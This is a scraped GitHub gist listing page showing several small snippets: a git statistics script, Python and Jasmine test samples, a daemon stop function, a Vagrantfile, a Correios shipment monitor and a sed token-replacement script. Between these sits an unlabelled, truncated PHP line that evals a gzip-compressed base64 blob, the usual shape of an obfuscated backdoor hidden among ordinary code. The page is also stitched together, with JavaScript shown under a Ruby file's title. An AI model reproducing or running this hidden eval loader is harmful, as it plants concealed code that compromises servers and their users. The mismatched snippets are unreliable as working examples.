Skip to content

Instantly share code, notes, and snippets.

@andersonvom
andersonvom / gitstats.rb
Created November 28, 2013 18:43
Gather statistics on GIT projects regarding number of commits, lines of code (insertions/deletions), and files changed.
DATE="2013-10-28 00:00:00"
METRIC=:total_loc
TEAM=[
'Team Member #1',
'Team Member #2',
'Team Member #3',
# ...
]
var test = [1,2,3,4,5];
var tr = d3.select(".cm-workflow").selectAll("p")
.data(test)
.enter().append("p").attr('text', function(d) { return d });
var test = [5,4,3,2,1];
var tr = d3.select(".cm-workflow").selectAll("p")
.data(test)
@andersonvom
andersonvom / test.py
Created July 18, 2013 21:30
Sample test
# Testing deployment/router.py # get_deployments
def test_filter_by_name(self):
self.mox.StubOutWithMock(bottle.request.query, "get")
self.mox.StubOutWithMock(bottle.request.query, "getall")
self.mox.StubOutWithMock(self.manager, "get_deployments")
# FIXME: I just want to get the test to pass first
bottle.request.query.get('show_deleted').AndReturn('')
bottle.request.query.getall('statuses').AndReturn([])
@andersonvom
andersonvom / sample-test.js
Created July 18, 2013 19:39
Sample jasmine test
describe('#method_name', function() {
beforeEach(function() {
// Set up
});
it('should do something', function() {
expect('pending').toBe('complete');
});
// more tests...
@andersonvom
andersonvom / checkmate-svr.sh
Last active December 17, 2015 14:09
Stop Checkmate
#
# Function that stops the daemon/service
#
do_stop()
{
if [ ! -e $PIDFILE ]; then
return 2
fi
pid=`cat $PIDFILE`
children=$(ps axo pid,ppid | awk "{ if ( \$2 == $pid ) { print \$1 }}")
@andersonvom
andersonvom / Vagrantfile
Created May 1, 2013 22:39
Devstack and opencafe development environment setup with vagrant
# -*- mode: ruby -*-
# vi: set ft=ruby :
Vagrant.configure("2") do |config|
config.vm.box = "precise64"
config.vm.box_url = "http://files.vagrantup.com/precise64.box"
config.vm.provision :shell, :path => "bootstrap.sh"
config.vm.network :forwarded_port, guest: 80, host: 8080
config.vm.provider :virtualbox do |vb|
vb.customize ["modifyvm", :id, "--memory", "4096"]
@andersonvom
andersonvom / config.rb
Last active December 14, 2015 07:28
Monitor Correios (correios.com.br) website for update on shipping information. Set up FROM_EMAIL and TO_EMAIL and just put it in your crontab or do a while;true bash loop: $ ruby correios.rb <TRACKING_ID>
#!/usr/bin/ruby
require 'mail'
GMAIL_USERNAME = "username"
GMAIL_PASSWORD = "password"
options = { :address => "smtp.gmail.com",
:port => 587,
:domain => 'gmail.com',
@andersonvom
andersonvom / replace.sh
Created February 19, 2013 17:20
Replace a given set of tokens for their respective values in a text file
#!/bin/bash
tokens="tokens.txt"
values="values.txt"
textfile="sample.txt"
paste $tokens $values | while read token value
do
sed -i -e "s/$token/$value/g" $textfile
done
<?php eval(gzinflate(base64_decode("DZVHDqwIAkPv0qv/xQKKjEa9IOec2bTIOaeC00/dwLbs5/JKhz/1207VkB7lnyzdSxz9ryjzuSj//MMlgbDtvlzX3gWt+1qG/NhFS5NsaRUX+qMThmWBpCzmm6ypFASoFQCvfQqtFqlAF9LvHBBgHhYpHgjKhVVdMnICPQk/LTSetpe/w2Fur+PgZseuerkmcZZ0jEKjd0k7WLL6KVefJyPjhztLi7AuHOyNkNDkveRUrVTvKuUAGgSZVHBIQzz5L5+1p6nZc6IF4Z6e8MYNy9VKRXReWIK6/swk6Y5laXNjRuZKqb2ctaFkho83eySK0T361+EiN0Xdy9xnPjHjmqRt+myumN2rdaZej6+eBSSApvmInHbsUNcMCPsp4q/4pC2RRd5IcxGUuDQXj7kF4yuyOVU/+qVvTduEQXjAkTlBlSCgW6cFQu6MilOhXUasWgjDbgDnOSoYq0V1kLyJQdjNigiIM2iAl5DlEgSjJpaIR85mYzKLsWwDj+YFjqyHpKDZ6fY1hd3JRABdfg0Hwe9dhTGQ0rQn2j/2VwUBy3O3dQ4hdfAqkqh6b6NmX/0eZV8Ki4AyginkigpU59BwyB75RFkvm6uJIEBdSaoD1MNeECFyL0C7zCYqBkMfIZmlHZHm6YbD+XddXBWkGtqqTljf3zUEBhbGjWl54cBU12ZFdBlmuk/F4gNuaB6txoNNfRDs7hM9DdK8ctULOqVWeTC/CJczXG30JuOx9hrmo+QQ/llHfq4amTbo1HEgnRWnvaw5bHX2T0K1IogO/ShXgBSCObVqeYqe9/AdPX2Q4fSqLEjt0vO0I40AzJxLE5JasHzdpMEfVWb7FqPWFZ09RsbcxTDdViHnBiYr63cT57oea1X6MRxf38OJV+I4svOStSxLP7Ou5RfqWx33SqtVYkSSLRbIYDWDwr7DJ5rT02M+zUIdOWBVxIJqfsKCmxUIKPi2NX6XWsQwfAdTG85w2A5nmf1Z
@andersonvom
andersonvom / slack-ignore-attachments.js
Created November 19, 2015 13:13
Ignore slack image attachments
// ==UserScript==
// @name Hide Slack.com image attachments
// @namespace https://gist.github.com/andersonvom/f99e5cc08b6f4e221471
// @version 0.0.1
// @description Ignore slack.com image attachments, but still leaves the original link
// @author andersonvom
// @match https://*.slack.com/*
// @grant none
// ==/UserScript==